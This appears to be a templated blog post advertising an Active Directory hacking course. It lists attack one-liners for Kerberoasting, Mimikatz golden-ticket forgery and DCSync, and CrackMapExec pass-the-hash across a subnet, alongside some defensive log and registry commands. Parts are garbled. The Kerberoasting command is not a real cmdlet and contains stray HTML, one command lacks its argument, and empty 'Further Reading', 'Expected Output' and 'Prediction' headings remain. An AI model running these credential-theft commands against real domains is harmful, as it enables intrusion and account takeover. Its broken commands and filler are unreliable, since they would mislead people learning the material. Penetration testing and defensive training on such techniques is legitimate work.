You Should Know:
1. Active Directory Basics
Active Directory (AD) is a Microsoft directory service used for identity and access management in Windows environments.
Key AD Commands:
List all domains in the forest Get-ADForest Get all AD users Get-ADUser -Filter Find Domain Controllers Get-ADDomainController -Discover
2. Common AD Attacks
Kerberoasting Attack
Extract service account hashes for offline cracking.
Request SPNs and extract hashes Set-SPN -Request -Type Kerberoast -Identity<br />
Golden Ticket Attack
Forge Kerberos tickets for persistent access.
Using Mimikatz (Windows) mimikatz kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt
3. Lateral Movement Techniques
Pass-the-Hash (PtH)
Using CrackMapExec crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --local-auth
DCSync Attack
Extract password hashes from Domain Controllers.
Using Mimikatz mimikatz lsadump::dcsync /user:Domain\Administrator
4. Defensive Measures
Detecting Suspicious Logins
Check Event Logs for suspicious logins
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624, 4625}
Enabling LSA Protection
Prevent credential dumping via registry:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
What Undercode Say:
Mastering Active Directory hacking is crucial for red teamers, penetration testers, and defenders. This course provides hands-on experience in real-world attacks and defenses.
Additional Commands for Security Testing:
Enumerate shares with smbclient smbclient -L //192.168.1.1 -U Administrator Check for ZeroLogon vulnerability python3 zerologon_tester.py DC_NAME DC_IP
🔗 Further Reading:
Expected Output:
A structured learning path on Active Directory exploitation and defense, with real-world attack simulations and defensive hardening techniques.
Prediction:
With rising AD-based cyberattacks, this course will significantly enhance cybersecurity professionals’ career prospects in penetration testing and red teaming.
